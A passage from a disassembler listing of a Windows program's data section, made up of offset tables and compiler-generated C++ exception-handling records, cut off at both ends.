XREF: sub_403CC0+2o off_43F008 dd offset off_402027 ; DATA XREF: sub_406BF0+2o sub_406C50o off_43F00C dd offset sub_40221B ; DATA XREF: ___:004070C5o off_43F010 dd offset loc_40218F ; DATA XREF: sub_409BC0+4o ; sub_409C20+Bo ... off_43F014 dd offset loc_402045 ; DATA XREF: sub_40AEA0+2o ; sub_40AEF0+1Co dd offset byte_437AC0 align 10h off_43F020 dd offset loc_401AE1 ; DATA XREF: ___:0040B1F8o ; sub_40B250+1Eo flt_43F024 dd 1.0 ; DATA XREF: ___:0040B8A6r off_43F028 dd offset sub_401A4B ; DATA XREF: sub_40F6D0+157o ; sub_40FE70+1Do dd offset sub_402149 dd 0 off_43F034 dd offset sub_401ACD ; DATA XREF: sub_40F6D0+142o ; sub_40FE70+23o off_43F038 dd offset loc_40115E ; DATA XREF: sub_411930+36o ; sub_4119E0+1Do dd offset loc_402004 dd 0 off_43F044 dd offset sub_4014C9 ; DATA XREF: ___:0041325Do ; sub_4132F0+1Fo dd offset sub_401D0C align 10h off_43F050 dd offset sub_4019CE ; DATA XREF: sub_416D00+6o ; sub_417EF0+8o dd offset sub_4020C7 dd 0 off_43F05C dd offset loc_401CAD ; DATA XREF: sub_416D60+6o ; sub_417F20+8o dd offset sub_401230 align 8 off_43F068 dd offset loc_401929 ; DATA XREF: sub_416DC0o sub_41FCD0+8o dd offset sub_401CF3 dd 0 off_43F074 dd offset sub_40111D ; DATA XREF: sub_416E10o ; sub_4191B0+36o off_43F078 dd offset loc_4014AB ; DATA XREF: sub_417CC0+68o off_43F07C dd offset sub_401064 ; DATA XREF: sub_417D60+8Bo off_43F080 dd offset sub_40138E ; DATA XREF: sub_417E30+74o off_43F084 dd offset loc_401B81 ; DATA XREF: sub_417F50+7Bo off_43F088 dd offset loc_40204A ; DATA XREF: sub_418010+7Bo off_43F08C dd offset loc_401F3C ; DATA XREF: sub_4180D0+3Eo off_43F090 dd offset sub_401FE1 ; DATA XREF: sub_418150+8o off_43F094 dd offset loc_401FF5 ; DATA XREF: sub_418180+3Eo off_43F098 dd offset sub_401E6A ; DATA XREF: sub_418200+3Eo off_43F09C dd offset loc_40100A ; DATA XREF: sub_418280+10o off_43F0A0 dd offset loc_4010B4 ; DATA XREF: sub_4182B0+4Bo off_43F0A4 dd offset sub_401BB8 ; DATA XREF: sub_418330+10o off_43F0A8 dd offset sub_40171C ; DATA XREF: sub_418360+10o off_43F0AC dd offset sub_40161D ; DATA XREF: sub_418390+6Bo dbl_43F0B0 dq -3.0517578125e-5 ; DATA XREF: sub_4199C0+22r dd 0 off_43F0BC dd offset sub_401B09 ; DATA XREF: sub_41A110+Bo ; sub_41A210+6o off_43F0C0 dd offset sub_401E92 ; DATA XREF: sub_41B0E0+Do sub_41B140o off_43F0C4 dd offset sub_401406 ; DATA XREF: ___:0041B4A2o ; ___:0041B58Do dd offset sub_401686 align 10h off_43F0D0 dd offset loc_4019F6 ; DATA XREF: sub_41D770+77o ; sub_41D860+1Do dd offset sub_401C94 dd 0 off_43F0DC dd offset sub_4011FE ; DATA XREF: sub_427740+32o dd offset sub_401A78 dd offset sub_401A50 dd 0 off_43F0EC dd offset loc_4016DB ; DATA XREF: sub_4277B0+6Ao ; sub_427850+1Do dd offset sub_401A78 dd offset byte_437AC0 dd 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND] db 1Ah, 40h, 0 dd offset sub_401A78 dd offset sub_401366 dd 0 off_43F10C dd offset sub_40182A ; DATA XREF: sub_4281A0+32o dd offset sub_401A78 dd offset sub_401EB0 dd 0 off_43F11C dd offset sub_40224D ; DATA XREF: sub_428880+32o dd offset sub_401A78 dd offset sub_401A14 dd 0 off_43F12C dd offset sub_401C3F ; DATA XREF: sub_4290B0+32o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_4015B9 dd 0 off_43F13C dd offset loc_402086 ; DATA XREF: sub_429120+7Ao ; sub_4291E0+1Do ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset byte_437AC0 dd 0 off_43F14C dd offset sub_4021D5 ; DATA XREF: sub_429450+4Bo ; sub_429540+10o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset loc_401D3E dd 0 off_43F15C dd offset loc_40112C ; DATA XREF: sub_42ACB0+32o ; sub_42AD50+9o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_40137A dd 0 off_43F16C dd offset loc_401B18 ; DATA XREF: sub_42AFF0+32o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_4010AF dd 0 off_43F17C dd offset sub_4017B2 ; DATA XREF: sub_42B380+32o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_40189D dd 0 off_43F18C dd offset sub_4020EF ; DATA XREF: sub_42C4C0+27o dword_43F190 dd 0 dd 8, 0 off_43F19C dd offset byte_437AC0 ; DATA XREF: sub_42C530+39o off_43F1A0 dd offset sub_401F5F ; DATA XREF: ___:0042C602o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset loc_40134D align 10h off_43F1B0 dd offset sub_401B36 ; DATA XREF: sub_42C770+32o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_401537 align 10h dd offset loc_4015FA ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_4019F1 align 10h dd offset dword_43F348 off_43F1D4 dd offset loc_437B01 ; DATA XREF: ___:off_444890o ; ___:off_4448B0o ... dd 0FFFFFFFFh, 437E9Ch, 437EB0h, 4Dh dup(0) off_43F318 dd offset off_448C90 ; DATA XREF: ___:0043F330o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_43F318 dd 0 db 0 ; DATA XREF: ___:0043F358o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 43F330h dword_43F348 dd 3 dup(0) dd offset off_448C90 dd offset unk_43F338 dd 45h dup(0) dword_43F470 dd 19930520h, 5, 43F490h, 5 dup(0) dd 0FFFFFFFFh, 438E1Ch, 0 dd offset dword_4382CC+0B24h dd 1, 438DFBh, 2, 438E06h, 3, 438E11h, 2 dup(0) dword_43F4C0 dd 19930520h, 3Dh, 43F4E0h, 5 dup(0) dd 0FFFFFFFFh, 438E60h, 0 dd offset loc_438E6B dd 1, 438E76h, 2, 438E84h, 3, 438E92h, 4, 438EA0h, 5, 438EAEh dd 6, 438EBCh, 7, 438ECAh, 8, 438ED8h, 9, 438EE6h, 0Ah dd 438EF4h, 0Bh, 438F02h, 0Ch, 438F10h, 0Dh, 438F1Eh, 0Eh dd 438F2Ch, 0Fh, 438F3Ah, 10h, 438F48h, 11h, 438F56h, 12h dd 438F64h, 13h, 438F72h, 14h, 438F80h, 15h, 438F8Eh, 16h dd 438F9Ch, 17h, 438FAAh, 18h, 438FB8h, 19h, 438FC6h, 1Ah dd 438FD4h, 1Bh, 438FE2h, 1Ch, 438FF0h, 1Dh, 438FFEh, 1Eh dd 43900Ch, 1Fh, 43901Ah, 20h, 439028h, 21h, 439036h, 22h dd 439044h, 23h, 439052h, 24h, 439060h, 25h, 43906Eh, 26h dd 43907Ch, 27h, 43908Ah, 28h, 439098h, 29h, 4390A6h, 2Ah dd 4390B4h, 2Bh, 4390C2h, 2Ch, 4390D0h, 2Dh, 4390DEh, 2Eh dd 4390ECh, 2Fh, 4390FAh, 30h, 439108h, 31h, 439116h, 32h dd 439124h, 33h, 439132h, 34h, 439140h, 35h, 43914Eh, 36h dd 43915Ch, 37h, 43916Ah, 38h, 439178h, 39h, 439186h, 3Ah dd 439194h, 3Bh, 4391A2h, 0Eh dup(0) dword_43F700 dd 19930520h, 1, 43F720h, 5 dup(0) dd 0FFFFFFFFh, 439290h, 2 dup(0) dword_43F730 dd 19930520h, 2, 43F750h, 5 dup(0) dd 0FFFFFFFFh, 4392B0h, 0 dd offset loc_4392B8 dd 2 dup(0) dword_43F768 dd 19930520h, 2, 43F788h, 5 dup(0) dd 0FFFFFFFFh, 4392E0h, 0 dd offset loc_4392E8 align 10h dword_43F7A0 dd 19930520h, 1, 43F7C0h, 5 dup(0) dd 0FFFFFFFFh, 439310h, 2 dup(0) dword_43F7D0 dd 19930520h, 7, 43F7F0h, 5 dup(0) dd 0FFFFFFFFh, 439330h, 0 dd offset loc_439338 dd 1, 439343h, 2, 439351h, 3, 43935Fh, 4, 43936Dh, 5, 43937Bh dd 2 dup(0) dword_43F830 dd 19930520h, 7, 43F850h, 5 dup(0) dd 0FFFFFFFFh, 4393B0h, 0 dd offset loc_4393B8 dd 1, 4393C3h, 2, 4393D1h, 3, 4393DFh, 4, 4393EDh, 5, 4393FBh dd 2 dup(0) dword_43F890 dd 19930520h, 11h, 43F8B0h, 5 dup(0) dd 0FFFFFFFFh, 439430h, 0FFFFFFFFh, 439438h, 0FFFFFFFFh dd 439440h, 0FFFFFFFFh, 439448h, 0FFFFFFFFh, 439450h, 0FFFFFFFFh dd 439458h, 0FFFFFFFFh, 439460h, 0FFFFFFFFh, 439468h, 0FFFFFFFFh dd 439470h, 0FFFFFFFFh, 439478h, 0FFFFFFFFh, 439480h, 0FFFFFFFFh dd 439488h, 0FFFFFFFFh, 439490h, 0FFFFFFFFh, 439498h, 0FFFFFFFFh dd 4394A0h, 0Eh, 4394A8h, 0Eh, 4394B0h, 4 dup(0) dword_43F948 dd 19930520h, 0Bh, 43F968h, 5 dup(0) dd 0FFFFFFFFh, 4394F0h, 0 dd offset loc_4394F8 dd 0FFFFFFFFh, 439500h, 2, 439508h, 0FFFFFFFFh, 439510h dd 0FFFFFFFFh, 439518h, 0FFFFFFFFh, 439520h, 0FFFFFFFFh dd 439528h, 7, 439533h, 7, 43953Bh, 9, 439543h, 4 dup(0) dword_43F9D0 dd 19930520h, 31h, 43F9F0h, 5 dup(0) dd 0FFFFFFFFh, 439570h, 0 dd offset loc_43957B dd 0 dd offset loc_439586 dd 0FFFFFFFFh, 439591h, 0FFFFFFFFh, 43959Ch, 4, 4395A7h dd 0FFFFFFFFh, 4395B2h, 6, 4395BDh, 6, 4395C8h, 8, 4395D3h dd 0FFFFFFFFh, 4395DEh, 0Ah, 4395E9h, 0Ah, 4395F4h, 0Ah dd 4395FFh, 0Ah, 43960Ah, 0Ah, 439615h, 0Ah, 439620h, 0FFFFFFFFh dd 43962Bh, 11h, 439636h, 11h, 439641h, 0FFFFFFFFh, 43964Ch dd 0FFFFFFFFh, 439657h, 15h, 439662h, 0FFFFFFFFh, 43966Dh dd 0FFFFFFFFh, 439678h, 18h, 439683h, 0FFFFFFFFh, 43968Eh dd 0FFFFFFFFh, 439699h, 0FFFFFFFFh, 4396A4h, 0FFFFFFFFh dd 4396AFh, 1Dh, 4396BAh, 1Dh, 4396C5h, 1Dh, 4396D0h, 1Dh dd 4396DBh, 1Dh, 4396E6h, 22h, 4396F1h, 22h, 4396FCh, 22h dd 439707h, 22h, 439712h, 22h, 43971Dh, 22h, 439728h, 22h dd 439733h, 22h, 43973Eh, 22h, 439749h, 22h, 439754h, 22h dd 43975Fh, 22h, 43976Ah, 22h, 439775h, 22h, 439780h, 0Ch dup(0) dword_43FBA8 dd 19930520h, 2, 43FBC8h, 5 dup(0) dd 0FFFFFFFFh, 439828h, 0 dd offset loc_439820 align 10h dword_43FBE0 dd 19930520h, 2, 43FC00h, 5 dup(0) dd 0FFFFFFFFh, 43986Bh, 0 dd offset loc_439860 dd 2 dup(0) dword_43FC18 dd 19930520h, 3, 43FC38h, 5 dup(0) dd 0FFFFFFFFh, 4398A0h, 0 dd offset loc_4398AB dd 0 dd offset loc_4398B6 dd 2 dup(0) dword_43FC58 dd 19930520h, 1, 43FC78h, 5 dup(0) dd 0FFFFFFFFh, 4398E0h, 2 dup(0) dword_43FC88 dd 19930520h, 1, 43FCA8h, 5 dup(0) dd 0FFFFFFFFh, 439900h, 2 dup(0) dword_43FCB8 dd 19930520h, 2, 43FCD8h, 5 dup(0) dd 0FFFFFFFFh, 439920h, 0 dd offset loc_439928 align 10h dword_43FCF0 dd 19930520h, 57h, 43FD10h, 5 dup(0) dd 0FFFFFFFFh, 439940h, 0 dd offset loc_43994B dd 1, 439956h, 2, 439961h, 3, 43996Ch, 4, 439977h, 5, 439982h dd 6, 43998Dh, 7, 439998h, 8, 4399A3h, 9, 4399ABh, 0Ah dd 4399B3h, 0Bh, 4399BEh, 0Ch, 4399C6h, 0Dh, 4399CEh, 0Eh dd 4399D9h, 0Fh, 4399E4h, 10h, 4399EFh, 11h, 4399FAh, 12h dd 439A05h, 13h, 439A10h, 14h, 439A1Bh, 15h, 439A26h, 16h dd 439A31h, 17h, 439A3Ch, 18h, 439A47h, 19h, 439A52h, 1Ah dd 439A5Dh, 1Bh, 439A68h, 1Ch, 439A73h, 1Dh, 439A7Eh, 1Eh dd 439A89h, 1Eh, 439A94h, 1Eh, 439A9Fh, 1Eh, 439AAAh, 1Eh dd 439AB5h, 1Eh, 439AC0h, 1Eh, 439ACBh, 1Eh, 439AD6h, 1Eh dd 439AE1h, 1Eh, 439AECh, 28h, 439AF7h, 1Eh, 439AF7h, 1Eh dd 439B02h, 2Bh, 439B0Dh, 1Eh, 439B0Dh, 1Eh, 439B18h, 2Eh dd 439B23h, 1Eh, 439B23h, 1Eh, 439B2Eh, 31h, 439B39h, 1Eh dd 439B39h, 1Eh, 439B44h, 34h, 439B4Fh, 1Eh, 439B4Fh, 1Eh dd 439B5Ah, 37h, 439B65h, 1Eh, 439B65h, 1Eh, 439B70h, 3Ah dd 439B7Bh, 1Eh, 439B7Bh, 1Eh, 439B86h, 3Dh, 439B91h, 1Eh dd 439B91h, 1Eh, 439B9Ch, 40h, 439BA7h, 1Eh, 439BA7h, 1Eh dd 439BB2h, 43h, 439BBDh, 1Eh, 439BBDh, 1Eh, 439BC8h, 46h dd 439BD3h, 1Eh, 439BD3h, 1Eh, 439BDEh, 49h, 439BE9h, 1Eh dd 439BE9h, 1Eh, 439BF4h, 4Ch, 439BFFh, 1Eh, 439BFFh, 1Eh dd 439C0Ah, 4Fh, 439C15h, 1Eh, 439C15h, 1Eh, 439C20h, 52h dd 439C2Bh, 53h, 439C36h, 54h, 439C41h, 55h, 439C4Ch, 13h dup(0) dd offset off_444890 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 437AF0h, 2 dup(0) dd offset off_4448B0 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 437F1Ah, 2 dup(0) dd offset off_4448D8 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 437F20h, 0 dword_440070 dd 3, 440050h, 440030h, 440010h, 2 dup(0)dword_440088 dd 0 ; ___:0040AA77o dd offset dword_437EC4+62h dd 0 dd offset dword_440070 align 10h dword_4400A0 dd 19930520h, 1, 4400C0h, 5 dup(0) dd 0FFFFFFFFh, 439D30h, 2 dup(0) dword_4400D0 dd 19930520h, 1, 4400F0h, 5 dup(0) dd 0FFFFFFFFh, 439D50h, 2 dup(0) dword_440100 dd 19930520h, 3, 440120h, 5 dup(0) dd 0FFFFFFFFh, 439D70h, 0 dd offset loc_439D87 dd 1, 439D8Fh, 2 dup(0) dword_440140 dd 19930520h, 1, 440160h, 5 dup(0) dd 0FFFFFFFFh, 439DB0h, 2 dup(0) dword_440170 dd 19930520h, 2, 440190h, 1, 4401A0h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 4401B8h, 4 dup(0) dd offset sub_40AF32 align 10h dword_4401D0 dd 19930520h, 2, 4401F0h, 1, 440200h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 440218h, 4 dup(0) dd offset sub_40B0B1 align 10h dword_440230 dd 19930520h, 4, 440250h, 5 dup(0) dd 0FFFFFFFFh, 439DF0h, 0 dd offset loc_439DFB dd 1, 439E06h, 2, 439E11h, 2 dup(0) dword_440278 dd 19930520h, 4, 440298h, 5 dup(0) dd 0FFFFFFFFh, 439E40h, 0 dd offset loc_439E4B dd 1, 439E56h, 2, 439E61h, 2 dup(0) dword_4402C0 dd 19930520h, 3, 4402E0h, 5 dup(0) dd 0FFFFFFFFh, 439E90h, 0FFFFFFFFh, 439E98h, 0FFFFFFFFh dd 439EA0h, 2 dup(0) dword_440300 dd 19930520h, 3, 440320h, 5 dup(0) dd 0FFFFFFFFh, 439EC0h, 0 dd offset loc_439EC8 dd 1, 439ED0h, 2 dup(0) dword_440340 dd 19930520h, 1, 440360h, 5 dup(0) dd 0FFFFFFFFh, 439EF0h, 2 dup(0) dword_440370 dd 19930520h, 4, 440390h, 5 dup(0) dd 0FFFFFFFFh, 439F10h, 0FFFFFFFFh, 439F18h, 0FFFFFFFFh dd 439F20h, 2, 439F28h, 2 dup(0) dword_4403B8 dd 19930520h, 1, 4403D8h, 5 dup(0) dd 0FFFFFFFFh, 439F50h, 2 dup(0) dword_4403E8 dd 19930520h, 4, 440408h, 5 dup(0) dd 0FFFFFFFFh, 439F70h, 0 dd offset loc_439F7B dd 0 dd offset loc_439F86 dd 2, 439F91h, 2 dup(0) dword_440430 dd 19930520h, 1, 440450h, 5 dup(0) dd 0FFFFFFFFh, 439FC0h, 2 dup(0) dword_440460 dd 19930520h, 5, 440480h, 5 dup(0) dd 0FFFFFFFFh, 439FE0h, 0 dd offset loc_439FEB dd 0 dd offset loc_439FF6 dd 0 dd offset loc_43A001 dd 0 dd offset loc_43A00C align 10h dword_4404B0 dd 19930520h, 2, 4404D0h, 5 dup(0) dd 0FFFFFFFFh, 43A040h, 0 dd offset loc_43A04B dd 2 dup(0) dword_4404E8 dd 19930520h, 2, 440508h, 5 dup(0) dd 0FFFFFFFFh, 43A070h, 0 dd offset loc_43A07B align 10h dword_440520 dd 19930520h, 4, 440540h, 5 dup(0) dd 0FFFFFFFFh, 43A0A0h, 0FFFFFFFFh, 43A0A8h, 0FFFFFFFFh dd 43A0B0h, 0FFFFFFFFh, 43A0B8h, 2 dup(0) dword_440568 dd 19930520h, 8, 440588h, 5 dup(0) dd 0FFFFFFFFh, 43A0E0h, 0 dd offset loc_43A0EB dd 1, 43A0F6h, 1, 43A101h, 1, 43A10Ch, 1, 43A117h, 1, 43A122h dd 1, 43A12Dh, 4 dup(0) dword_4405D8 dd 19930520h, 0Dh, 4405F8h, 5 dup(0) dd 0FFFFFFFFh, 43A160h, 0FFFFFFFFh, 43A16Bh, 1, 43A176h dd 2, 43A181h, 3, 43A18Ch, 4, 43A197h, 5, 43A1A2h, 6, 43A1ADh dd 7, 43A1B8h, 8, 43A1C3h, 9, 43A1CEh, 0Ah, 43A1D9h, 0Bh dd 43A1E4h, 4 dup(0) dword_440670 dd 19930520h, 6, 440690h, 5 dup(0) dd 0FFFFFFFFh, 43A220h, 0 dd offset loc_43A228 dd 1, 43A230h, 2, 43A238h, 2, 43A240h, 2, 43A248h, 2 dup(0) dword_4406C8 dd 19930520h, 6, 4406E8h, 5 dup(0) dd 0FFFFFFFFh, 43A270h, 0 dd offset loc_43A278 dd 1, 43A280h, 2, 43A288h, 2, 43A290h, 2, 43A298h, 2 dup(0) dword_440720 dd 19930520h, 3, 440740h, 5 dup(0) dd 0FFFFFFFFh, 43A2C0h, 0 dd offset loc_43A2C8 dd 1, 43A2D0h, 2 dup(0) dword_440760 dd 19930520h, 1, 440780h, 5 dup(0) dd 0FFFFFFFFh, 43A2F0h, 2 dup(0) dword_440790 dd 19930520h, 7, 4407B0h, 5 dup(0) dd 0FFFFFFFFh, 43A310h, 0 dd offset loc_43A318 dd 0FFFFFFFFh, 43A320h, 0FFFFFFFFh, 43A328h, 3, 43A330h dd 4, 43A338h, 0FFFFFFFFh, 43A340h, 2 dup(0) dword_4407F0 dd 19930520h, 24h, 440810h, 5 dup(0) dd 0FFFFFFFFh, 43A370h, 0 dd offset loc_43A378 dd 1, 43A383h, 2, 43A38Eh, 3, 43A399h, 4, 43A3A7h, 5, 43A3B5h dd 6, 43A3C3h, 7, 43A3D1h, 8, 43A3DFh, 9, 43A3EDh, 0Ah dd 43A3FBh, 0Bh, 43A409h, 0Ch, 43A417h, 0Dh, 43A425h, 0Eh dd 43A433h, 0Fh, 43A441h, 10h, 43A44Fh, 11h, 43A45Dh, 11h dd 43A465h, 11h, 43A46Dh, 11h, 43A475h, 11h, 43A47Dh, 11h dd 43A485h, 11h, 43A48Dh, 11h, 43A495h, 11h, 43A49Dh, 11h dd 43A4A5h, 11h, 43A4ADh, 11h, 43A4B5h, 11h, 43A4BDh, 11h dd 43A4C5h, 11h, 43A4CDh, 11h, 43A4D5h, 11h, 43A4DDh, 11h dd 43A4E5h, 8 dup(0) dword_440950 dd 19930520h, 11h, 440970h, 5 dup(0) dd 0FFFFFFFFh, 43A560h, 0 dd offset loc_43A568 dd 1, 43A573h, 2, 43A57Eh, 3, 43A589h, 4, 43A597h, 5, 43A5A5h dd 6, 43A5B3h, 7, 43A5C1h, 8, 43A5CFh, 9, 43A5DDh, 0Ah dd 43A5EBh, 0Bh, 43A5F9h, 0Ch, 43A607h, 0Dh, 43A615h, 0Eh dd 43A623h, 0Fh, 43A631h, 4 dup(0) dword_440A08 dd 19930520h, 38h, 440A28h, 5 dup(0) dd 0FFFFFFFFh, 43A690h, 0 dd offset loc_43A69B dd 1, 43A6A6h, 0 dd offset loc_43A6B1 dd 0 dd offset loc_43A6BC dd 0 dd offset loc_43A6C7 dd 0 dd offset loc_43A6D2 dd 0 dd offset loc_43A6DD dd 0 dd offset loc_43A6E8 dd 0 dd offset loc_43A6F3 dd 9, 43A6FEh, 0 dd offset loc_43A709 dd 0 dd offset loc_43A714 dd 0 dd offset loc_43A71F dd 0 dd offset loc_43A72A dd 0Eh, 43A735h, 0Eh, 43A743h, 0Eh, 43A751h, 0Eh, 43A75Ch dd 0Eh, 43A76Ah, 0Eh, 43A778h, 0Eh, 43A783h, 0Eh, 43A78Eh dd 0 dd offset loc_43A799 dd 0 dd offset loc_43A7A4 dd 0 dd offset loc_43A7B2 dd 0 dd offset loc_43A7C0 dd 1Ah, 43A7CBh, 1Bh, 43A7D6h, 0 dd offset loc_43A7E1 dd 1Dh, 43A7ECh, 0 dd offset loc_43A7F7 dd 1Fh, 43A802h, 0 dd offset loc_43A80D dd 0 dd offset loc_43A818 dd 0 dd offset loc_43A823 dd 0 dd offset loc_43A82E dd 0 dd offset loc_43A839 dd 25h, 43A844h, 26h, 43A84Fh, 0 dd offset loc_43A84F dd 28h, 43A844h, 0 dd offset loc_43A85A dd 0 dd offset loc_43A865 dd 2Bh, 43A870h, 2Ch, 43A87Bh, 0 dd offset loc_43A87B dd 2Eh, 43A870h, 2Eh, 43A886h, 0 dd offset loc_43A891 dd 31h, 43A89Ch, 0 dd offset loc_43A8A7 dd 0 dd offset loc_43A8B2 dd 34h, 43A8BDh, 35h, 43A8C8h, 34h, 43A8C8h, 0Ch dup(0) dword_440C18 dd 19930520h, 1, 440C38h, 5 dup(0) dd 0FFFFFFFFh, 43A970h, 2 dup(0) dword_440C48 dd 19930520h, 1, 440C68h, 5 dup(0) dd 0FFFFFFFFh, 43A990h, 2 dup(0) dword_440C78 dd 19930520h, 6, 440C98h, 5 dup(0) dd 0FFFFFFFFh, 43A9B0h, 0 dd offset loc_43A9B8 dd 1, 43A9C3h, 2, 43A9CEh, 3, 43A9D9h, 4, 43A9E4h, 2 dup(0) dword_440CD0 dd 19930520h, 6, 440CF0h, 5 dup(0) dd 0FFFFFFFFh, 43AA10h, 0 dd offset loc_43AA18 dd 1, 43AA23h, 2, 43AA2Eh, 3, 43AA39h, 4, 43AA44h, 2 dup(0) dword_440D28 dd 19930520h, 0Ah, 440D48h, 5 dup(0) dd 0FFFFFFFFh, 43AA70h, 0FFFFFFFFh, 43AA78h, 0FFFFFFFFh dd 43AA80h, 0FFFFFFFFh, 43AA88h, 0FFFFFFFFh, 43AA90h, 0FFFFFFFFh dd 43AA98h, 0FFFFFFFFh, 43AAA0h, 0FFFFFFFFh, 43AAA8h, 0FFFFFFFFh dd 43AAB0h, 0FFFFFFFFh, 43AAB8h, 4 dup(0) dword_440DA8 dd 19930520h, 0Eh, 440DC8h, 5 dup(0) dd 0FFFFFFFFh, 43AAE0h, 0 dd offset loc_43AAE8 dd 0FFFFFFFFh, 43AAF3h, 0FFFFFFFFh, 43AAFBh, 0FFFFFFFFh dd 43AB03h, 0FFFFFFFFh, 43AB0Bh, 5, 43AB16h, 0FFFFFFFFh dd 43AB1Eh, 0FFFFFFFFh, 43AB26h, 0FFFFFFFFh, 43AB2Eh, 9 dd 43AB39h, 0FFFFFFFFh, 43AB41h, 0Bh, 43AB49h, 0Ch, 43AB51h dd 4 dup(0) dword_440E48 dd 19930520h, 2, 440E68h, 5 dup(0) dd 0FFFFFFFFh, 43AB98h, 0 dd offset loc_43AB90 align 10h dword_440E80 dd 19930520h, 2, 440EA0h, 5 dup(0) dd 0FFFFFFFFh, 43ABD0h, 0 dd offset loc_43ABD8 dd 2 dup(0) dword_440EB8 dd 19930520h, 1, 440ED8h, 5 dup(0) dd 0FFFFFFFFh, 43ABF0h, 2 dup(0) dword_440EE8 dd 19930520h, 7, 440F08h, 5 dup(0) dd 0FFFFFFFFh, 43AC10h, 0 dd offset loc_43AC18 dd 1, 43AC23h, 2, 43AC2Eh, 2, 43AC36h, 4, 43AC3Eh, 5, 43AC46h dd 2 dup(0) dword_440F48 dd 19930520h, 4, 440F68h, 5 dup(0) dd 0FFFFFFFFh, 43AC70h, 0 dd offset loc_43AC7B dd 1, 43AC86h, 2, 43AC91h, 2 dup(0) dword_440F90 dd 19930520h, 4, 440FB0h, 5 dup(0) dd 0FFFFFFFFh, 43ACC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0ACh, 43h, 0 dd 1, 43ACD6h, 2, 43ACE1h, 2 dup(0) dword_440FD8 dd 19930520h, 2, 440FF8h, 5 dup(0) dd 0FFFFFFFFh, 43AD10h, 0FFFFFFFFh, 43AD18h, 2 dup(0) dword_441010 dd 19930520h, 1, 441030h, 5 dup(0) dd 0FFFFFFFFh, 43AD30h, 2 dup(0) dword_441040 dd 19930520h, 1, 441060h, 5 dup(0) dd 0FFFFFFFFh, 43AD50h, 2 dup(0) dword_441070 dd 19930520h, 2, 441090h, 5 dup(0) dd 0FFFFFFFFh, 43AD70h, 0 dd offset loc_43AD78 dd 2 dup(0) dword_4410A8 dd 19930520h, 3, 4410C8h, 5 dup(0) dd 0FFFFFFFFh, 43AD90h, 0 dd offset loc_43AD98 dd 1, 43ADA3h, 2 dup(0) dword_4410E8 dd 19930520h, 3, 441108h, 5 dup(0) dd 0FFFFFFFFh, 43ADD0h, 0 dd offset loc_43ADD8 dd 1, 43ADE0h, 2 dup(0) dword_441128 dd 19930520h, 1, 441148h, 5 dup(0) dd 0FFFFFFFFh, 43AE00h, 2 dup(0) dword_441158 dd 19930520h, 4, 441178h, 5 dup(0) dd 0FFFFFFFFh, 43AE20h, 0 dd offset loc_43AE28 dd 0 dd offset loc_43AE30 dd 0 dd offset loc_43AE3B align 10h dword_4411A0 dd 19930520h, 6, 4411C0h, 5 dup(0) dd 0FFFFFFFFh, 43AE60h, 0 dd offset loc_43AE68 dd 1, 43AE70h, 2, 43AE78h, 3, 43AE80h, 4, 43AE88h, 2 dup(0) dword_4411F8 dd 19930520h, 3, 441218h, 5 dup(0) dd 0FFFFFFFFh, 43AEB0h, 0 dd offset loc_43AEBB dd 1, 43AEC6h, 2 dup(0) dword_441238 dd 19930520h, 4, 441258h, 5 dup(0) dd 0FFFFFFFFh, 43AEF0h, 0 dd offset loc_43AEF8 dd 1, 43AF00h, 2, 43AF08h, 2 dup(0) dword_441280 dd 19930520h, 5, 4412A0h, 5 dup(0) dd 0FFFFFFFFh, 43AF30h, 0 dd offset loc_43AF38 dd 1, 43AF40h, 2, 43AF48h, 3, 43AF50h, 2 dup(0) dword_4412D0 dd 19930520h, 4, 4412F0h, 5 dup(0) dd 0FFFFFFFFh, 43AF80h, 0 dd offset loc_43AF88 dd 1, 43AF93h, 2, 43AF9Eh, 2 dup(0) dword_441318 dd 19930520h, 3, 441338h, 5 dup(0) dd 0FFFFFFFFh, 43AFC0h, 0 dd offset loc_43AFC8 dd 1, 43AFD0h, 2 dup(0) dword_441358 dd 19930520h, 1, 441378h, 5 dup(0) dd 0FFFFFFFFh, 43AFF0h, 2 dup(0) dword_441388 dd 19930520h, 2, 4413A8h, 5 dup(0) dd 0FFFFFFFFh, 43B010h, 0 dd offset loc_43B018 align 10h dword_4413C0 dd 19930520h, 2, 4413E0h, 5 dup(0) dd 0FFFFFFFFh, 43B030h, 0 dd offset loc_43B038 dd 2 dup(0) dword_4413F8 dd 19930520h, 3, 441418h, 5 dup(0) dd 0FFFFFFFFh, 43B050h, 0 dd offset loc_43B05B dd 1, 43B066h, 2 dup(0) dword_441438 dd 19930520h, 1, 441458h, 5 dup(0) dd 0FFFFFFFFh, 43B090h, 2 dup(0) dword_441468 dd 19930520h, 1, 441488h, 5 dup(0) dd 0FFFFFFFFh, 43B0B0h, 2 dup(0) dword_441498 dd 19930520h, 4, 4414B8h, 5 dup(0) dd 0FFFFFFFFh, 43B0D0h, 0 dd offset loc_43B0D8 dd 1, 43B0E3h, 2, 43B0EEh, 2 dup(0) dword_4414E0 dd 19930520h, 7, 441500h, 5 dup(0) dd 0FFFFFFFFh, 43B110h, 0FFFFFFFFh, 